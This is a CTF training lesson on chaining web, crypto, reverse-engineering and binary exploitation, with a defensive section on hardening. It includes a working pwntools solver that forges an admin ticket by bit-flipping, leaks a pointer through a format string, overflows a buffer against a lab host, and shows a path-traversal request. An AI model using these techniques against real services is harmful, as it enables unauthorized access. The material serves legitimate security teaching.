Skip to main content
Multi-Stage CTF Chains: Combining Recon, Crypto, Web & Pwn
Lesson 7 of 8

Multi-Stage CTF Chains: Combining Recon, Crypto, Web & Pwn

Learn how to model cross-category attack chains as artifact dependency graphs and build deterministic Python solvers that pivot across web, cryptographic, and binary exploitation stages.

Expert 34 min CTF

Learning objectives

  • Map multi-stage challenges as artifact dependency graphs across web, crypto, reverse engineering, and pwn boundaries
  • Trace how an information disclosure in one tier enables cryptographic forgery or binary exploitation in another
  • Build a single automated Python and pwntools pipeline that handles ephemeral tokens and ASLR offsets
  • Identify how defense in depth breaks cross-category exploit chains at each trust boundary

Recommended first: CTF Formats, Toolkits, Ethics & Structured Note-TakingPlaybook: Web (veb-tahlil), Crypto (kriptografiya) & OSINTSpecialist Playbook: Linux, Pwn & Reverse Engineering

#Why this matters

Isolated vulnerabilities rarely tell the full story in production systems or expert-tier CTF environments. An informational leak on a public web tier might expose a configuration file, which reveals how session tokens are signed, which unlocks an internal TCP worker written in C. Individually, a low-severity file read and an unexposed binary look manageable. Chained together, they yield full remote execution.

Senior practitioners treat multi-stage targets as connected systems rather than separate puzzle boxes. When you stop treating web, cryptography, reverse engineering, and binary exploitation as unrelated silos, you recognize how one tier supplies the exact missing primitive required by the next.

#Modeling the artifact dependency graph

Before writing exploit code, map what each stage produces and what the next stage consumes. Instead of guessing payloads blindly, build an artifact dependency graph that records inputs, transforms, outputs, and trust boundaries.

  1. Recon / Web LFILeak worker binary and token format
  2. Crypto StageRecover keystream or forge ticket
  3. Reverse EngineeringLocate buffer offset and gadgets
  4. Pwn StageLeak libc base and pivot to shell

Each node in the graph answers two questions: what proof confirms this stage succeeded, and which artifact does it hand to the next stage? If a stage fails, you isolate the exact broken link instead of debugging three domains at once.

Stage Typical input Common pivot flaw Output artifact
Recon and Web HTTP routes, headers Path traversal, SSRF, debug endpoint Source code, ELF binary, ciphertext
Cryptography Token sample, oracle Nonce reuse, ECB cut-and-paste, weak MAC Forged admin ticket, decrypted secret
Reverse Engineering Stripped ELF, protocol Custom framing, magic header, PRNG seed Struct layout, offset, vulnerability site
Binary Exploitation Socket or local binary Stack overflow, format string, UAF Memory leak, code execution, flag

#Pivoting across web, crypto, and binary boundaries

Cross-category chains succeed when assumptions made by one component are violated by exposure in another. Consider a lab architecture where a public HTTP gateway authenticates requests with a custom ticket and forwards approved payloads to a local C daemon.

Cross-category chain from web leak to binary controlCross-category chain from web leak to binary controlTesterWebAppWorkerGET /download?file=../bin/workerELF binary bytes + config snippetQuery oracle /status with chosen tokenForged admin ticket acceptedSend framed packet with leak + ROP payloadReturn leaked libc pointer and marker output

Three handoff patterns appear repeatedly in chained engagements:

  • Web to Reverse Engineering: Path traversal, exposed build artifacts, or backup archives give you the exact compiled binary running behind an internal socket. Static inspection with objdump, readelf, or Ghidra removes guesswork about packet headers and memory protections.
  • Web or RE to Cryptography: Reading configuration files or binary constants reveals how session tickets are constructed. For example, reusing a stream-cipher nonce or validating a cipher block without an integrity tag (such as unauthenticated AES-CTR or AES-CBC) lets an attacker flip specific plaintext role bits.
  • Crypto to Pwn: The internal binary is only reachable after presenting a valid cryptographic ticket or passing a challenge-response handshake. Once forged, the binary stage behaves like a standard memory-corruption target, except every new connection may require a fresh ticket.

#Handling ephemeral state in a unified solver

Manual copy-paste breaks down quickly in multi-stage chains. If a forged web token expires in five seconds, or if the target binary restarts per TCP connection under ASLR and PIE, copying values between Burp Suite, a terminal calculator, and pwntools will fail reliably.

The solution is a unified solver: a single Python script that automates all stages inside one runtime session. Keep stage logic separated into clean helper functions so you can test each boundary independently against local mocks before running against lab.local.

python
import json
import urllib.request
from pwn import context, p64, remote

context.arch = "amd64"
TARGET_HOST = "lab.local"

def fetch_forged_ticket(base_url: str) -> bytes:
    # Step 1: Retrieve sample guest token and flip role byte via known XOR offset
    with urllib.request.urlopen(f"{base_url}/api/guest-ticket") as resp:
        data = json.loads(resp.read().decode("utf-8"))
    raw = bytearray.fromhex(data["ticket_hex"])
    # Plaintext offset 10 holds '0' (0x30); XOR with 0x01 yields '1' (0x31) for admin
    raw[10] ^= ord("0") ^ ord("1")
    return bytes(raw)

def exploit_worker(host: str, port: int, ticket: bytes) -> bytes:
    io = remote(host, port, timeout=5)
    io.sendlineafter(b"TICKET>", ticket.hex().encode())
    # Step 2: Trigger format-string leak on first prompt to defeat PIE/ASLR
    io.sendlineafter(b"CMD>", b"ECHO %13$p")
    leaked_line = io.recvline().strip()
    leaked_addr = int(leaked_line, 16)
    binary_base = leaked_addr - 0x1240
    win_addr = binary_base + 0x11a5
    # Step 3: Send length-prefixed overflow payload with recalculated target
    payload = b"A" * 72 + p64(win_addr)
    io.sendlineafter(b"DATA>", payload)
    return io.recvall(timeout=2)

if __name__ == "__main__":
    ticket = fetch_forged_ticket("http://lab.local:8080")
    output = exploit_worker(TARGET_HOST, 9001, ticket)
    print(output.decode("utf-8", errors="replace"))

Notice how the solver stays deterministic: it reads the exact leaked pointer from the live connection, subtracts the static offset discovered during reverse engineering, and builds the final payload dynamically. When debugging, log intermediate state (ticket bytes, leaked pointer, calculated base) to stderr or a log file so failures point straight to the stage that broke.

Verifying stage handoffs locally before targeting lab.local
$ python3 solver.py --local-check
[+] Stage 1: guest ticket fetched (32 bytes), flipped role offset 10
[+] Stage 2: binary base resolved to 0x55a8f2c00000 (leaked 0x55a8f2c01240)
[+] Stage 3: payload accepted, harmless marker returned: LAB_CHAIN_VERIFIED

#Defending against chained flaws and common mistakes

Single-issue severity scores often understate chained risk. A medium-severity path disclosure plus an unauthenticated internal service equals critical exposure when combined. Defenders break chains by enforcing defense in depth across every trust boundary:

  • Authenticate internal services independently: Never assume a perimeter gateway or reverse proxy is the only caller that can reach a backend daemon. Require mutual TLS or verified per-service tokens at the daemon itself.
  • Always pair encryption with integrity: Unauthenticated stream ciphers or CBC modes allow predictable bit-flipping. Use AEAD algorithms such as AES-GCM or ChaCha20-Poly1305, or signed JWT/HMAC schemes with rotated keys.
  • Harden binaries even behind auth: Compile internal C/C++ workers with full RELRO, stack canaries, NX, and PIE (-fPIE -pie -fstack-protector-strong), and prefer memory-safe languages for network parsers.
  • Avoid common solver pitfalls: Do not hardcode ASLR addresses across runs, do not ignore newline/framing differences between send and sendline, and always check checksec outputs before assuming gadget availability.

#Summary

  • Multi-stage challenges and real compromises chain modest flaws across web, crypto, reverse engineering, and binary tiers to cross trust boundaries.
  • An artifact dependency graph clarifies what proof each stage needs and what output it passes forward.
  • Unauthenticated ciphers, leaked binaries, and unhardened internal daemons create classic cross-category pivots.
  • A unified Python and pwntools solver eliminates manual copy-paste errors when tokens expire or ASLR randomizes addresses on every connection.

Knowledge check

Sign in to take the test, complete lessons and save your progress. Log in

Practice: test your knowledge